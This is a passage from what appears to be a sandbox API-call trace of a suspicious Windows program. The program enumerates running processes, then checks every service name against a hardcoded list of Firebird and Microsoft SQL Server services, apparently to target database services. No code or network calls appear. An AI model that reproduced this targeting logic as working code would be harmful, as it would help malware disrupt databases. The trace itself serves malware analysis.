cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist_exhaust.exe")) returned 1 [0174.372] lstrlenW (lpString="wrist_exhaust.exe") returned 17 [0174.372] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0174.372] lstrlenW (lpString="movers-indication.exe") returned 21 [0174.373] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0174.373] lstrlenW (lpString="drama tv thee.exe") returned 17 [0174.373] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0174.374] lstrlenW (lpString="barriers.exe") returned 12 [0174.374] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0174.375] lstrlenW (lpString="shootclick.exe") returned 14 [0174.375] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0174.375] lstrlenW (lpString="nickel.exe") returned 10 [0174.376] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0174.376] lstrlenW (lpString="imperialopened.exe") returned 18 [0174.376] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0174.377] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0174.377] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0174.378] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0174.378] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0174.378] lstrlenW (lpString="perhapssentences.exe") returned 20 [0174.379] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.379] lstrlenW (lpString="svchost.exe") returned 11 [0174.379] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0174.380] lstrlenW (lpString="chrome64b.exe") returned 13 [0174.380] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0174.381] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0174.381] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0174.382] lstrlenW (lpString="conhost.exe") returned 11 [0174.382] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0174.383] lstrlenW (lpString="cmd.exe") returned 7 [0174.383] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0174.383] lstrlenW (lpString="conhost.exe") returned 11 [0174.383] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0174.384] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0174.384] Process32NextW (in: hSnapshot=0x2fc, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0174.385] CloseHandle (hObject=0x2fc) returned 1 [0174.385] Sleep (dwMilliseconds=0x1f4) [0175.220] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0175.220] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0175.220] GetLastError () returned 0xea [0175.220] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x7e7778 [0175.221] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7e7778, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7e7778, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0175.221] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0175.221] lstrlenW (lpString="Appinfo") returned 7 [0175.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0175.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0175.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0175.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0175.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0175.222] lstrlenW (lpString="AppXSvc") returned 7 [0175.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0175.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0175.222] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0175.222] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0175.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0175.222] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0175.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.222] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0175.222] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0175.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0175.222] lstrlenW (lpString="Audiosrv") returned 8 [0175.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0175.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0175.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0175.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0175.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0175.222] lstrlenW (lpString="BFE") returned 3 [0175.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0175.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0175.222] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0175.222] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0175.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0175.222] lstrlenW (lpString="BITS") returned 4 [0175.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0175.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0175.222] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0175.222] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0175.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0175.223] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0175.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0175.223] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0175.223] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0175.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0175.223] lstrlenW (lpString="CDPSvc") returned 6 [0175.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0175.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0175.223] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0175.223] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0175.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0175.223] lstrlenW (lpString="ClickToRunSvc") returned 13 [0175.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0175.223] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0175.223] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0175.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0175.223] lstrlenW (lpString="ClipSVC") returned 7 [0175.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0175.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0175.223] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0175.223] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0175.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0175.223] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0175.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0175.223] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0175.223] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0175.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0175.223] lstrlenW (lpString="CryptSvc") returned 8 [0175.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0175.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0175.224] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0175.224] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0175.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0175.224] lstrlenW (lpString="DcomLaunch") returned 10 [0175.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.224] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0175.224] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0175.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0175.224] lstrlenW (lpString="DeviceAssociationService") returned 24 [0175.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0175.224] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0175.224] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0175.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0175.224] lstrlenW (lpString="Dhcp") returned 4 [0175.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0175.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0175.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0175.224] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0175.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0175.224] lstrlenW (lpString="Dnscache") returned 8 [0175.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0175.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0175.224] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0175.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0175.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0175.225] lstrlenW (lpString="DoSvc") returned 5 [0175.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0175.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0175.225] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0175.225] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0175.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0175.225] lstrlenW (lpString="DPS") returned 3 [0175.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0175.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0175.225] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0175.225] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0175.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0175.225] lstrlenW (lpString="DusmSvc") returned 7 [0175.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0175.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0175.225] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0175.225] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0175.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0175.225] lstrlenW (lpString="EventLog") returned 8 [0175.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0175.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0175.225] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0175.225] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0175.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0175.225] lstrlenW (lpString="EventSystem") returned 11 [0175.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0175.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0175.225] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0175.225] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0175.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0175.225] lstrlenW (lpString="FontCache") returned 9 [0175.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0175.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0175.226] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0175.226] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0175.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0175.226] lstrlenW (lpString="gpsvc") returned 5 [0175.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0175.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0175.226] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0175.226] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0175.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0175.226] lstrlenW (lpString="iphlpsvc") returned 8 [0175.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.226] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0175.226] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0175.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0175.226] lstrlenW (lpString="KeyIso") returned 6 [0175.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0175.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0175.226] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0175.226] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0175.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0175.226] lstrlenW (lpString="LanmanServer") returned 12 [0175.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0175.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0175.226] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0175.226] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0175.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0175.226] lstrlenW (lpString="LanmanWorkstation") returned 17 [0175.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0175.226] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0175.226] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0175.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0175.227] lstrlenW (lpString="lfsvc") returned 5 [0175.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0175.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0175.227] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0175.227] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0175.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0175.227] lstrlenW (lpString="LicenseManager") returned 14 [0175.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0175.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0175.227] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0175.227] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0175.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0175.227] lstrlenW (lpString="lmhosts") returned 7 [0175.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0175.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0175.227] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0175.227] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0175.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0175.227] lstrlenW (lpString="LSM") returned 3 [0175.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0175.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0175.227] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0175.227] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0175.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0175.227] lstrlenW (lpString="MpsSvc") returned 6 [0175.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0175.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0175.227] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0175.227] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0175.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0175.227] lstrlenW (lpString="NcbService") returned 10 [0175.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0175.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0175.228] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0175.228] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0175.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0175.228] lstrlenW (lpString="netprofm") returned 8 [0175.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0175.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0175.228] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0175.228] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0175.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0175.228] lstrlenW (lpString="NlaSvc") returned 6 [0175.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0175.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0175.228] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0175.228] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0175.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0175.228] lstrlenW (lpString="nsi") returned 3 [0175.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0175.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0175.228] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0175.228] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0175.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0175.228] lstrlenW (lpString="PcaSvc") returned 6 [0175.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0175.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0175.228] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0175.228] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0175.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0175.228] lstrlenW (lpString="PlugPlay") returned 8 [0175.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0175.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0175.228] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0175.228] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0175.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0175.228] lstrlenW (lpString="Power") returned 5 [0175.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0175.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0175.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0175.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0175.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0175.229] lstrlenW (lpString="ProfSvc") returned 7 [0175.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0175.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0175.229] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") 